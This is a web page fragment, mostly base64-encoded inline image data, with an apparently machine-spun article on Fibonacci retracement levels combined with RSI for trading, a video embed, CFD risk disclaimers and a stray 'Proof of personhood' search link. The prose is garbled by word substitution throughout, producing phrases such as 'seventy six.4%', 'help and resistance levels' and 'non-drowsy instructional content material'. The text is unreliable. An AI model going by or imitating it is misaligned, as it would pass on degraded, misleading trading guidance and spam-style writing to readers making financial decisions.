AgiRzTsLNWULECIxAiHitQIIkc07CzVlCxAiORJhgTitAEJk885CTdkChEiOQIhYrQBCpMIYsEe0tgAhEuoE3JCorQBCpMIYsEe0tgAhEmoE3JCorQBCpMIYsEe0tgAhEmoE3JCorQBCZPPOQk3ZAoRIkkRYID4rgBDZvLNQU7YAIZIkECJGK4AQ2byzUFO2ACESJREWiM0KIEQqjAF7RGsLECKhRsANidoKIEQ6nAF7RGoLECKhPsANidoKIERKrAF7RGkLECKhPsANidoKIEQ27yzUlC1AiGQJhIjNCiBENu8s1JQtQIiESYQFYrICCJHNOws1ZQsQImECIeKyAgiREmvAHlHaAoRIqA1wQ6K2AgiRFm\/AHhHaAoRIqA1wQ6K2AgiREmvAHlHaAoRIqA1wQ6K2AgiRzTsLNWULECJxEmGBYK0wtFfYs5vOJ\/ezeY9weKxHoJ\/4amUbCJHGOwuFbwsQInECIQK2Qk8fGRyg88F+0ts\/evsYXzk4wFcr20CINN5ZKHxbgBCJEwgRsBV6+5kbuBV6+ugC09DVY73yIt8GQqTJHLgx0dkChEioC3BDgrCCwC4jfRvij\/voPkHoGxRocpp+7JNWK9tAiBR5A\/aI0BYgREJdgBsShBX4tP5CxD4qz35vP9IQqTUHbkx0tgAhEuoC3JDArMAzVSevmiBk8p4xuiCnrVEOkfo7C4VvCxAigQqHED1S7QQbDe0dyKIVeMUMagWanB5gC4cmelGXKRN3FgrfFiBEAhUIIZSbXJ9fO2FRv01aJDePkcnf2532a+c3HgEhsnpnIX1kgPYQqZcYwA1REoqquVn9Nppu4IuT+w\/T5WfG8hqPgBApMgduTFORAQiRBRM0fUOUwqb6fMC0fhtNOvBFVtGNPkH9mbqOIERG3YEb00xkAEJkwQRN3xCldoIyv3nMrH4bGf3Ibr4oEWL02UxdRhAim+bAjWkqMgAhsmCCwNMQlBAm9dsoIOTAIAQIkck7CyENkT2JAZVDTF41oWRB9g6Y1G+TAUEXkcsEQmTzzkL6yACEyIDEYOoy0YdCqcbAihrM6rcJ\/Xxxcr9ApyipBiGydmchfWQAQmRAYuA3ZOjaCccwqO0KQqTDHlS4CpHYAoRIqgcC\/8bctphzaQUQAsqH0kUIqRcpTPVTIbaj59UKmSSEAEEGpYoQEARCQJ4kkjAS2bCFmS1ACAhWICBEqgRCRGcLEAKCFQgIAcEWprYAISBYgYAQEGxhagsQAoIVCAgBwRamtgAhIFiBgBAQbGFqCxACghUICAHBFqa2ACEgWIGAEBBsYWoLEAKCFQgIAcEWprYAISBYgYAQEGxhagsQAoIVCAgBwRamtgAhIFiBgBAQbGFqCxACghUICAHBFqa2ACEgWIGAEBBsYWoLEAKCFQgIAcEWprYAISBYgYAQEGxhagsQAoIVCAgBwRamtgAhEqLvf+pTf3zn8Lfo5MRf04m86g668HVC\/vEOXKDQrQBCQLCFwRYgRGI0\/K0ffP\/r5G9\/8LdfJ39GqUD+6lOUC3\/29eFv7f7+13F1wrcCCAHBFgZbgBDJ0T\/eQcnw\/a\/\/LZsQImGCE+J\/3YmLE74VQAgItjDYAoRIjP7qj+\/82x9QOPzVpz7FcpbI335KzmX6\/g\/ox924QCFbAYSAYAuDLUCIpIgCgvyZOvnAcUHnJ771\/3zrzj\/7Aa6QXysM7RX2MMBO7mfzHuHwWI9AP\/UKgtA3uk8Q+iUrgBAQbGGwBQiREDFAEF4OQZnw1zTtwEofOCH+5x0nQIhmrNDTRwYH6Hywn\/T2j94+JtmDraGL18hBQQgItjCxBQiREP0Zy1vidZn+6lOf+gGFxG66wPKW\/urrPMMJuUy+rdDbz9zArdDT19svbbqZOmLyqgkQAoIt7GwBQkAZtoLAnmv6psStwJLOfYMCTU7Tzx\/ZzT1C1x2akKwAQkCwhcEWIASUYSvwqfKyxD9KvuBOoO9K8mYCQkCwhaktQAgo61bgGa78uZ+8Z4wu9PRxJ8geYKlsAkJAsIWpLUAIKOtW4JU2WObqPmGALRyaYPU1+rk5egWpQocVIXbhIkK5tgUIAWXdCq5kRQggAsq1LUAICFYgNoQAIqA82wKEgGAFYkcIIALKsS1ACAhWILaEACKg\/NqiTggIyp6aJgQE5dsWCiGaTkRg\/3Tvn3eZEwKPFWyRc1uAENgfIiAE9odMbQFCYH+IgBDYHzK1RZ0QEJRvK5gSAoLybQsQAoIICAFBprZoEOLmsfqYEoTI3YWrxEeXkAPQoHycCU0Ah\/2ljmXJ6NcmdF\/mZX9lYAsesIn9+Xn42J+Ps9HE+StXze\/5N666v\/Of3C912Wh2\/rm3gjkhorSF7hn1vD\/f1cf+yi78x\/g5vmwL3+cv7+\/3\/JWr7vf8FVuYnT8IIRNicj+9R8qYEoT0dhov0tDeAamzp\/3S49CrDuK4v7TX5D1\/NKH5Mm\/7K92W84BN7M\/Pw8\/+9SfM3\/krV83v+devus\/z7+1X7pr+\/GEFU0JEawvtM+p9f76rj\/1VuwwO+NlftoXf81f293v+qqvu6\/wVWxjPH7ZopCGGrh5r9Ac7dO1\/\/r3dpHeA\/qd8FeR45OYxKQALWu8ktm4Up\/1ZgKGrP3fthLSj8mWe9ud3j+7fKw964Xd\/fh4+9peeI\/\/nz3du4vyV\/f2ef8+e3b0D5ucPK5imIaK1Rf0Z9be\/MYb1Zgu+5GP\/ui18nr+yv9\/zV2zh9\/zrtjCeP2yhIYQypgS7Sizxxi7lIJvwwKMf2S0FkG5KrxbHjvtLAYZkQtS\/zNP+fGALuj8P2NT+9Dx87M\/H2Wji\/PlVa+L8G\/v7O38+JK35+cMKloSIzhb1Z9Tf\/nxXH\/srtqAf+nwdX7GF3\/OX9\/d7\/oot\/J5\/3RbG84ctzNMQvBtY6VJKl1RyAlG9LOnelZz3pwGG9gpyr7KNL\/OyP1Ec6PQO7rC\/dB4PeN+\/8az5PP\/G6Bz+zl\/av5nz77U4f1jBOQ0Rui3Uz7if\/Rv28GUrv\/vXbeHv\/InqXcXf+Teuut\/z77U4f9hCQwglw46+kbAnn2XP1WHLR5eQAvDrqL+KTvvLV19+2Wl8mcf9ySDrwNyYj+9tfx7Ex\/58nI1mzp9dtWbOX97f7\/nzQcvNzx9WsCREZLZoPKM+95d39b6\/Ygt\/+yu28Hv+9f39nn\/dFv72V2xhcv6wRaOkWhAGlEJ\/9tjTi8XXsaL9AYW\/0qATbLX+XclxfznjT3qUG1\/mbX8+sAXLhzfUBfK2Pz8PH\/vzcTaaOH9pRCf\/56\/s7\/f8eaUN0\/OHFSxKqqO0ReMZ9W2rPbt97K\/Ywu\/+ii38nr\/KVr6Or9jC9\/77rc4ftnDVHqK3yTdN7J\/u\/XNiBa\/tIfBYwRY5sIUjIXqaRCr2T\/f++bGCJ0LgsYIt8mELtKmGIII21RBkagsQAoIICAFBprYAISCIgBAQZGoLEAKCCAgBQaa2ACEgiIAQEGRqCxACgggIAUGmtuCEaIOgvMtICFwTCLZgvgApIchACFwRCFJ8AUGQQoh\/AUGQJBACgkAICAIhIAiEgCAQAoJACAgCISAIhIAgEAKCQAgIipgQ\/wqCoIYKwv8FQZCs\/x8iwkmicwobnwAAABJ0RVh0RVhJRjpPcmllbnRhdGlvbgAxhFjs7wAAAABJRU5ErkJggg==\"\/><\/p>\n<p>It keeps updating itself as new candles are available, so you&#8217;re always wanting at the most related ranges. It mechanically finds the current highs and lows in your chart and draws these traditional Fibonacci levels &#8211; 23.6%, 38.2%, 61.8%, and seventy six.4%. Our over 15 years of experience in monetary markets and high technical knowledge aid in precise and well timed identifications. Our independence from brokers and the companies we introduce, our dedication to maximum transparency, and our in depth expertise in financial markets contribute to our rating standards. Collaborating in monetary markets includes excessive danger, which may result in the loss of half or all your investment. When the price reaches a key Fibonacci stage and, on the identical time, the RSI enters the overbought or oversold zone, this confluence increases the probability of a price reaction or reversal.<\/p>\n<div style='text-align:center'><iframe width='562' height='311' src='https:\/\/www.youtube.com\/embed\/hZHwYFsln_U' frameborder='0' alt='fibonacci indicator' allowfullscreen><\/iframe><\/div>\n<p>Another concern is that there are several Fibonacci retracement levels, so the value is prone to reverse close to one of them quite often. The problem is that traders struggle to know which one might be helpful at any particular time. When a particular one doesn\u2019t work out, it could at all times be claimed that the dealer should have been looking at another Fibonacci retracement degree as an alternative. Furthermore, there&#8217;s the potential for false signals and breakouts the place the value briefly respects a Fibonacci degree before persevering with in the wrong way.<\/p>\n<ul>\n<li>This example exhibits you what a robust tool the Fibonacci retracement level is.<\/li>\n<li>Combining Fibonacci levels with the RSI indicator will increase the accuracy of buying and selling alerts.<\/li>\n<li>While you need to use it free of charge, remember that republishing the code is subject to our House Guidelines.<\/li>\n<li>The safety does pull back, retracing to a point between the 50% and 61.8% levels.<\/li>\n<\/ul>\n<p>These tools aren&#8217;t solely used for identifying help and resistance levels but in addition to set price targets, figuring out pullback points, detecting the end of major market strikes, and risk administration planning. Fibonacci retracement ranges are horizontal strains that indicate the potential assist and resistance levels where price might doubtlessly reverse direction. First, you want to find a recent worth high and low (an uptrend or downtrend swing). The tool will automatically mark the key ranges as horizontal lines on your chart, supplying you with a guide for potential value reversals or pauses. Fibonacci retracement ranges are used by traders to assist them find key price ranges and zones the place a security would possibly stall, reverse, or continue shifting within a trend.<\/p>\n<h2>Working Examples Of Utilizing Fibonacci Retracement In An Uptrend<\/h2>\n<p>Contracts for Difference (CFDs) are leveraged products and carry a excessive stage of danger. We advise you to rigorously think about whether or not trading is appropriate for you in gentle of your personal circumstances. We recommend that you search unbiased financial recommendation and make positive you absolutely perceive the dangers concerned before buying and selling. Spotting important ranges the place value is likely to bounce or reverse trend is critical for technical traders.<\/p>\n<p>We introduce people to the world of buying and selling currencies, each fiat and crypto, via our non-drowsy instructional content material and instruments. We&#8217;re also a neighborhood of traders that support one another on our every day buying and selling journey. The charting software automagically calculates and exhibits <a href=\"https:\/\/www.youtube.com\/results?search_query=Proof+of+personhood\">Proof of personhood<\/a> you the retracement ranges.<\/p>\n<h2>Utilizing With Other Technical Evaluation Instruments<\/h2>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width=\"354px\" alt=\"fibonacci indicator\" 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jcYZatDD2WHbxcH56jx1+d5rD1HL5wAAAAB1mLLiqPe8wLfwQH0ja1dqjoPlovL9MSdFu6W7Ue848W\/hAY7HpuZ6akoPnNfYV91fQM5AAATEkAAAATEkAAAATEkAdZyfWcfosXMdPzEtAdVIBMTAAAABMTux2YOh3cnD6rUwWTX28Zh7XmO3zOiN9VOV1emxw5dlwer1myxLWx7s5xyez0bbXaGXJm192q2kdmq2hqtoTq2WtLXrNlHZRUXdcf2+c1R00kutHJOtHJOtHJOtHJOtHnF0mOr9p85datPF8k60XW1vbFPSfGHWri75KesGruWuxWez+ZutWfjOSdaMnS4Lynpfkuh2+pcXPIutM8k60ck60ck60clPWDknWjknWjknWjknWjkp6wck60ck60ck60ck60clPWDknWjkurX\/ACXnNc19GpJ6uUda6KjknWjk47HGck60ck60ck60ck631Hbzd9ma+7H75\/V1dXU+abpJa9Tzs2aPC6tzf7q2i37nn9PdnWtRjf6aeZnNl5KEuzcn0GrtmeWndX9Q5difUOXHUOX9H0voOntNnHxObRS1belu2SHJ13bX+zm\/Lhn24x58y2h5enRHy9Dy9C\/08VVXduttau\/Hlh6WcOh3eR3uLVXvTt248WzHPK03and836nmB0+aE5dh03EXWmqotDPh9J3x4y42dMUG1kx7XTjI9LrX5eoih6SefORhqYrDUrZYjLxy2XqLzXGDZ0+fOPe1dzW8vTvj58ZUWgzYaTbGfBubcer+ivtfoMPL9NzPBB7bltQ4\/fpZx3dHf0WISkhI18Hrc8\/32GU859Mx5MeRhqbepPn0Os4zoe3ztvirXF6Oz1dZHba62h7losNfXR37bUMhHdiq7nzvq6DoaC\/6KoOD1IAHXdJ841Omk+m+Pneeenuc3zyDvsHEastNDuYMHpfFbkaSLe9YM9hARseWnFXO8p92u0Sy7eDPZwHjfHW36yxoNultaOz2RzxMWUPGXFlq51w4ZtvFtWkG9oz3w8sObXmceTHlpjz+1vam7aQCx14MM+KTb6eGnO77w5r3Ww5sEGttau\/wSmJi0hGjtatXPZz+fVjERsxIzjFq7ulU7W\/q7XRBfUN9wejwcx0\/O8ENj2eq88MWM2OhkrqyW60mW7Gmw9X9fZ+c9uNLlvMNlzvRdVLOpt6nNb1G9Xrj57YK9DrsFeLBoQxYK8zYK8WG9Q23PbbwrvW0mfX17r51YK9jNgrxYK8dBrYa7OvtMPIpaex3OC6Tj9Fb1Bw+n5sX\/wArHuWNv0ei1sWXV0Zwii2b+hPuba9HodLW2dLll4sa6yp51u75y20ETHVHDm0\/FJtTGzhl9F9qa+bR4pZ9jX2JYnHkx72mPP7djY8e7\/UicMmrMT5\/bB7zjb9HotTV2tHjl63MGeeET5341XjPUbNgXWpgzaPFLfRPZho72txSyZYnrivqHoKe91qO7qMa5F5StLZ2qrfirul5qt2BLWBL3jxOUGJ6Lnei4PU+tO2qeS+pt7xc9vnNfJkV3q\/D2xtw+3uWnw9o7vD2PHsxkYcxqLWl6Hv8tgbDi9Jrtga7YGXTs8M+bSdR5np5rNa+4dFPq9Bys+evFx8+bGvu9sfYuNUaO3p1ewK6c7Gvu90fQt9QDf0N+GdAiadb1grJ+RWz97nn3eag6Y6uHeV88GxE9OJx5Mc2n6856TZsi\/0tXZ0eGcTE1GyNjX3u6PoW+rzo7OKq2bXotIMWXW55YN3U3uYFlDDq5sNJt3MmDPawePcTxIliPeHLWbNPbwZ+qIdUda\/5zpPL+hy8t1POR3SzPSeaw6+7ocMrGusa6umBPRc70Vf6vcqbap5LvHv6G+NfYopQsFQ7vM201MMW6oM26oFuqBYaPlurpsK+M4sla1ddkrRZK0dBoxXZxbZKVmN7v8n0nF6HY1zi9HzaXoflE72vnt9codcdfB6ii2wlqz63dfPa65R57cYfPiKWextV273xmDrjoTl8UG7xnx7nXCULWEsGDjlvNFrb0Yc3VicfvHlqbevt8MvSFnDxp70cctKdxzZwbUO+MoxSa+bBuV0vaFrBp7GtWTy7OP32RmGPY1YlQbcu1pblrrmDrjKGWvtaO\/R7cOTDlt9cobcanR093QX\/AKoegoJbZQvvN4tXL3dBjkK77F8e44wl0dLoue7Dh9L4qeg53lvPO\/X7mM5NbK19mu2E+fW9ZfUteBnR2YGcYGcYMW5ilop7asuumnwM7jv8DOMDOMunbtvHpZ7nFt4aXc3kOrR07nT0WHHC8+c7vvAutWfxjxxYhTbQy3MmBc68+GMMHgVGxt6mTqjuMCzhOtnxV08+bA7oZ4w4zHBTbQw2M+rktNefH48bkberk1szDG\/GdgGeMKLOweGc2mVk\/W9pZuqGdgdePHiJqp7k4FrDPq+9fmlAq5t\/Qz90dmMLuhn8Y8cWKxrrGl26e3X5e+G2xTYxyX\/Oufq6jmtjS1zy+cfjo4sHccOoM\/Wfk1jXa4Bv3z1vJRq7u25\/Xx6O3Z3KfBid+oEem\/UGxha+qXFmF+oCd+oBfqf3CNrh0GYYbuqbuK1U+DVZX6gZX\/rnsjGxznXaPX5yw2c3iWupybw0rHxuZci7BnPHuwHHuwHHuwHHuwHIR2A492A492A492A492A4+evHHuwHHuwHHuwHHuwHHz14492A492A492A492A4+evg5B2A492A492A492A4+evHHuwHHuwHHuwHHuwHHz1\/k5F2A4\/a6Yce7Ace7Ace7AchHXyce7Ace7AUFd3eoce7AchHYDl+z5jp6zlV2Dt44+TR9RwWPT817Kr7nRr+f1H1fjt0+Zd5ubZ\/N77J0nNq1FfR1\/P1jk2yXTZuTZzfcluafZuDo2Lmm9wj9cv7a51R5bNz\/icr+NOwyx89Z9Xl+XROQAAAExMAAAACYkgAAACYkgBvIa9F78SmGcpiSAAADdjHSmJlKADZxjWbuljBs62cpz4CHvwDaNVu62MY22xjUE5zEwAAWNdY1wBMTBsdnxnZ1nLyNjUYO\/o+kVPOdVXc3M9LT2ks61Bt1Hbvs1Y3T3em4zqeTTZK+i4dHWuSbZdNm5NnN7ym3qdm4N+wDr+k+f6p9Us\/m\/ScOja8cD67t\/eYuIqAAAAACYmAAAABMSQAAABMSRkxmLHcp7Xk49OcjMq\/e3vcY1GbN6zKuy3epiFTc1+\/hQbmludPVublfv8fDV6VrYbd9Ro2WLZLR6DntnM8tj7zcvJQXXN9Lt2avrT34xw09z5nsqOj5zpDn9\/Yo8ysLrUy6Oeo072m6urxExu3gAdDY89Xc2sOnZMTBsdnwjm1Z8B0bFnWIu2y8I4tFvUTHbvCeVvUIR7j3wji0d24Qdrm4WGeu5E6dob5gWOhv1x1t582c2u1yUzp2W9QBIhIhIhIhIR6ghIhIhIhIiUnlIhIhIhIiUnlIz7lW16rLHosYuMlGhCwu+e9Q17fnV05z2bCnT2+5xtmy1z0TTos4rfcpWOlhnMvNxUwzaaeuRsdfWk2PGKZT3vOijBd0sMsuJOdv7pWnRa1Hqdm1HqJzhIhIsK6yriEhHqCEiEiEiEhHqCEiEiEiEhHqCEiEiEiwrrTVNV2vs4dfWZxzruRAAAAAJiYAAAAExJAAAAExJAANrW6TnNPP62feeKobunu3Rta3S69PMlzLZoavS81CGxn8bGI6mv09Kxo78Zszq2xtTlWt22hHnGXDu3Wdd2nKcvHm0e44hnwssW\/fpN6TQWOtnOuJ7JiYAALGuyYwCYmAAAACYmAAAACYmAAACxrrGuAAAAAAAAJiYAAAAExJAAAAExJAAL+is9Hn5cXQa0atddv1+Ho6HRc9cQ11mzo+Nm7reUsK\/Xr27Spyxhr3\/ADNjnNrirs2nTqbOGd22yjBq6dOgz4e7vub\/AJrzwV1pGjo5lq9NWam3d0mlqVkIXujl05zwDq65iYAAAAJiYAAAAJiYAAAAJiYAAALPU2a8vsuh5NpqjaorKtAAAAAJiYAAAAExJAAAAExJAAISISI9RJESAAESBJ5SISISIkIlJ5SISIkIkAJiYAAAAJiYAAmCICYmAMAAAJiYAAALGutsNtCvWezPFGtxULe5i48V8wAAAJiYAAAABJAAAABJAAAAExJAAAABJAAAABJAAAAAJiYAAAACYA05DqwiXXEObJMdOA0A4JgATEwAAJgWlZaYvYaOws\/niul1ePmGx0fjn97bihS8vuhIhIhIhIR6ghIhIhIhIiUnlIhIhIhIiUnlIhIhIhIiUnlIhIhIhIiUnlIhIhIhIiUnlIhIhIhIhIR6ghIhIhIhIR6ghIhIhIhIR6ghIhIhIhIR6ghIhIhIsK600zXX+8ckv\/JRL2iDqsBzjvtQ4x09ucC70cE6\/wBnHR9BrDkV5nOcdbyQAAmJIAAAAmJIAAAAmJIAAAAmJIAAAAmJIAAAABMTAAAABMTAAAABMTAAAABMTAAABY19hXFtnohbeKwWVaBYiuWIrliK\/LtiuWIr5utQr4sRXLEVyxFcsRXTYbZRrEVyxFcsRXLEV02G0UixFcsRXLEVyxFdNhtlGsRXLEVyxFcsRXTYbRSLEVyxFcsRXLEV02G0UixFcsRXLEVyxFcsRXxeahXLEVyxFcsRXLEV8XmoVyxGhu+hXbGyK6wkYtO71TBOYafraFcsRXLEV8XmoVyxFcsRXLEK6xrgAAAAAAB78XJV+eo0Cr1+h54AAG0eY7GkKnB2PHAAA9mXx11aVOp2HHgAAGR1GkVet2FAVgAAPfu89lH46ugK0AAHv1aWpynvq6woQAAevdpvnNZuhwHOAAAbHrrjjlxZHHAAAZsPXHLbF3nORjNhAAHvxelLn6DOcfFlWgAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZQxA\/\/EAFYQAAECAwMEDAsGAwUHAwUBAQECAwAEEQUSIRMxUWEGEBQVIDBScYGRlLMiMjRBQlNWc3Sj0hYmNVVlsiMzsQdicpLRJEBUY5OipBeCwTZDg6HCROH\/2gAIAQEAAT8AdKaLuklOIBOES\/8ALG0AC4B5r0Wkw2wuZQiVlUIQ4UpUl685QHk3zE0xK5F8ssoLaAC2625eXT\/mpJw6hjEjLSykyqXWgszT5avVPgAUAIp56qhiQaXKpG56gsuqVMVPgOIqQnR5oaYUwsCYk3VLWKMoUlQClHqJi5KInskJdpRNy8FulLaDSqwDURMtJamHm03rqHFJF4UNAcKjhMZHLN5a8Wqi9dz0h2xpeVQ\/MvPVlbo3OUEVcK83VCPGEOejFmol3nAy4wglR8JZWQQMwuAEVVFmSzL5m0upxDXgZxRZUEgwJBncsqboDpbfU4TU+KgLGAI0w5ZraELuzBLiGm3FJuUFHKeeufGJazGd2qbdcKkNziWCKeNWuvVCbIU5LKebLpBDikfw\/Buo5SgcDxEpZKLQlmlSrlHUqo+lZGAPpjVE8mVbmVolVKW0nAKV5yM5EJ8Uc0SzOXmGWb13KOJRXRU0rErZ7cq3brCrrpbl00UU6UFcWjIIlZWznQqpfZvK58\/9DtScy3MSyJRVxppsErSK\/wARXLX\/AHRE9IrlVnA3OulcQP8AQ+fas3B15QJC0MqUkgVIxFSBpAqYZEsFygQ66Q60cqC2AFovqvKWbxxG2btE4mlIX4qcTtzwROz003QImUvrCPMHADgk\/wB6CCCQQQQdqZaQ4+Lz7bVJeX8e96pPJBhxKpmVYZWZcOoaqzdvhakjSaU2rKRfVMgtlxJY8JAQVki+nMEqTCHprfZIXag8rxaq6PT8WlCI2VfhzXxA\/aras5gT9oyxeYUWCkNnPSrbWkc0CznJIMzoWlaWm5d9SfFPhqwSNuelkzKsnKNAutLIcbSgAhJpQYeMEnAqifmiRuZN0pbKEqXjVZbTdB2mpgNNSaXHaNmVOBAUMXj5ilWiJcvNrs8qmUodM01el0NpaISs5yUbUhWszXI3Mj4eVv0pfTyMc8KFpmYm7kql07ocvlLAcF6uIBUDE0J4NgvyuSTez5BLWOioA2mFFD7Sg5kylaTfpW7jn6I3yX+e\/IMTs6p2VcRvsXwafw8kU1x2pO17RXZtoOF\/w2Q1cN1OFTE5KyNJdx1c05NTTaHCEBJFVZ8MImLCZyUstrLtF15Ld1+7WivPRMKZkWbPtZuVW6SgtpXlKZwvOKRNyMs5NWi7NPvEMBk3hdqbw5hBsiSExUPOiVEqH\/NfpoiYlbNl25KZSX3GXS5eSaA+BmEWg+2zakk6JYLSJZspa5waCJ5+aSuRvtIfn2wta03L10HMCE6ItteXlpB++HSUqCnqXSToI1f78taSpdwEJJNATU01nCJf+WNqtF10GH59L6nHDKMIdWoqLiS5WpNSRVVIcn1OByjLSHHRRxxINVec4E0FToES0+7LICUobJSu+2pVaoURQlNDCJwtsltLLQVdUgO0N+6vONESk4ZQuKS02srRdJVewB0FJBECbaBVWTlykkUT4eFNBvVh51bzq3FkFSySTm4anXFNobUslCK3U+YV0QjxxDvowxOZBKaMMrUlV5K1A1SegivTDM28yXikirgFTzKCqjqhVqzCyolLeJd83rU3SBj1QqfeUXcE1caQ2eZFKU6oNrvXgsNMoUXkuqIB8JaK4mpgzxLRQZdn0ghRBJQFGpAqeIbecavZNZTeSUqp5wc42k+KOaJR1LE1LuqButuoUQM9AaxN2w2iatYNt5RMykNhV6lLqblYtSdZmJOy2263mmKK\/b\/\/ADtJUpCkqSopUkggjODEnNys1k2pt5LTYFFC6fCr6I5KYcTcWtF4KukioxBpoMIWttQWhRSpJwIwIhq1Zlt1K1JaUL1VJuJTe\/xXQKxaybOebbnJVxKVOKo4x5wdNNoLUB5oQtKgUrpqMHAnHz7TdqmYE62lQlb9XWild3w85BVhUqhSlLUpSlFSlEkk5ydpBWleUbeN1bDA\/hzbbJqhsA3gYbemZYLccXLLS2PBSpbTq1BSqFNQb2YkwspK1FCSlNSQkmtB5htSCkonpRSlAJD7ZJOYC9GyWblX5FpLUw04oPg0SsE0unaYnhIMsFtppbaFoewfTevKauEXcTnMS88JplDLjTSWSiWZcUp9KDdZVUmhocQdqzkMKmKukUQLyUlYQFEEYFRwEGZLE3NKRdeStS0kqrRQvVBwIMOuKdcW4s1UtRUec47TK3kyzJYdbSoypbJy6G1IIeK\/OREshQelS6ZeqJhC1ul9ok0USdqzMHXiHVtqDRu3XgyVG8MLyoeYZXMTH+2t0DywCu+orFfGqlJBrDzLbaQUzLThrmSF15\/CSNptam1oWk+EkhQOfEc8b9Wl61H\/AEkf6Q\/ak6+0ppxxJSc4DaB\/QbTM041LzDACbr129p8E1FIVacwXZRyiAqXQEIw8w0w9bU06kJDbDQDocGTRSih54mLamX2XmiywhLtL5QihJBrWH7VmHt13kNjdARfoDhczUiRtQmZaLzrbKW5fI4tlaVJHKFYtmcln25VplwOBq+SpKMmnwjmAMC1XxNMTJbaK2WwhIINMBQE4w5bMwt9t9LDDTqFXipCKFVeVE7aL04G0qQ222it1ttN1NT\/v1RyRAfcSMKRup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUbqd1Rup3VG6ndUZVerqEZVerqEZVerqEZVerqEZVerqEZVerqEZVerqEZVerqEZVerqEZVerqEBxV4Zs+gRlV6uoRlV6uoRlV6uoRlV6uoRlV6uoRlV6uoRlV6uoRlV6uoRlV6uoRlV6uoQXFV82bQIyq9XUIyq9XUIyq9XUIyq9XUIyq9XUIyq9XUIyq9XUIyq9XUIyq9XUILqqDNm0CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqq6Thn0CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CA6qhzZtAjKr1dQjKr1dQjKr1dQjKr1dQjKr1dQjKr1dQjKr1dQjKr1dQjKr1dQgOKr5s2gRlV6uoRlV6uoRlV6uoRlV6uoRlV6uoRlV6uoRlV6uoRlV6uoRlV6uoRlV6uoQXFXjmz6BGVXq6hGVXq6hGVXq6hGVXq6hGVXq6hGVXq6hGVXq6hGVXq6hGVXq6hBcVXzZtAjKr1dQjKr1dQjKr1dQjKr1dQjKr1dQjKr1dQjKr1dQjKr1dQjKr1dQjKKujNn0CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqq6Thn0CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CMqvV1CJCjzy0rAIDD6+lDSlCMqvV1CMqvV1CMqvV1CMqvV1CPCoKqFackRjyv+0QpRSaXh\/lEWK74U0gtMrSJV9wX2kLN5CCQaqBgyEq8ZRakOFbssZh4hSGW0JqU4AJhixbPlbRYCkuPJXMBCEmhSP4QcN8FOPjQixZF0SJdL15\/INi5cQE32gupATD1mSTUo6uj5cal2HVKvC4rLEYDCJlIE1K7klJZsOSLayXEhSWxXFRv1HSYYMrNTrzTUo2lh\/LZIlnBagjlnFCQcQEw\/uXdUhKIuILglApIlGfTCSTfNTD9kSLy2m7rraxKZQrQBdIDl0i6Bioxa8hLSpYXLFZacCqKKgqt08ySNYIhPjDn4s5+gcUcyebivRPPxQzK5uKGfoPFq8Y8\/FHP0DivRHPxXonn4ISpQJSkkJFTqG3ZflLnwk13KuDYNd9JbwqG4rHR4BidfmVtBK7VM0knFF9006FgQ543QIQ6pskoUtJUCklKqYHAiETky0pC233kKQm6lSVkFKdAOiE2jPIKimbmASE1IdVjdzQJ2aFykw\/4BSU0cPg3RQUhdrvKkBJBAS1RNTfWa3dSiQOgQ1PzjJBbmX0G6EVS4R4IzCDaE6Q6DNP0d\/mAuHw\/8WmC+6XEuZRwuIu3VXsRdzUOqFT02tvJKmXy3yS4aYY5ofmn5lQU+866oCgK1lRpoxgXbwoDnjDQYw0GMNBjDQYw0GMNBjDQYw0GMNBjDQYVdrmOaMNBjDQYw0GMNBjDQYw0GMNBjDQYw0GDSgwOaMNBjDQYw0GMNBjDQYw0GMNBjDQYw0GMKHA54w0GMNBjDQYw0GMNBjDQYw0GMNBjDQYFKHA5ow0GMNBjDQYw0GMNBjDQYw0GMNBjDQYF2uY5ow0GMNBjDQYw0GMNBjDQYw0GMNBjDQYw0GDdvHA54w0GMNBjDQYw0GMNBjDQYw0GMNBjDQYVdrmOaMNBjDQYw0GMNBjDQYw0GMNBjDQYw0GMKDA54w0GMNBjDQYw0GMNBjDQYw0GMNBjDQYwocDnjDQYw0GMNBiTlHZyZal2UEuOGgxh+xLRkJFUlZ0nlVPIpMTBUgXv7iQqPspb3\/A\/NbjDQYskticVeSopEtM3gDQkZFUPrlFXcgy63yr7gXXqSngSk0qVebebuFSU0AVrTQxQaR1iHSm+fCTmHn4tPjDn4s5+gcUcyebivRPPxQzK5uKGfoPFq8Y8\/FHP0DivRHPxXonn4AKkqCkkggw\/PSdrSCzOLDU+w34DvrwPROvbsvylz4Sa7lX+5J8Yc\/FnP0DijmTzcV6J5+KGZXNxQz9BjEkQ7INyt1M2+UOEXriEXyAdNSIFjtuyb00xNhxDaalNyiq6CIsqTlZ2ZSy644lSjgEgUwGkmH0Bp91tNaIWpPUeEGnFJdcSnwUHwjoqaDbU04httxSfBXW6dNIsqQlJ4uJW46HENlZCQAMNfCaZU84EJUhJIGK1BI6zE\/ZapFmXcL6HMrXxMR1wASQACSTD0gzKlKJqYKHSK3EIv3a8okiJuRclg24FBxlwVbcTmPXmMSkiuZDjl4NstCrjisw1D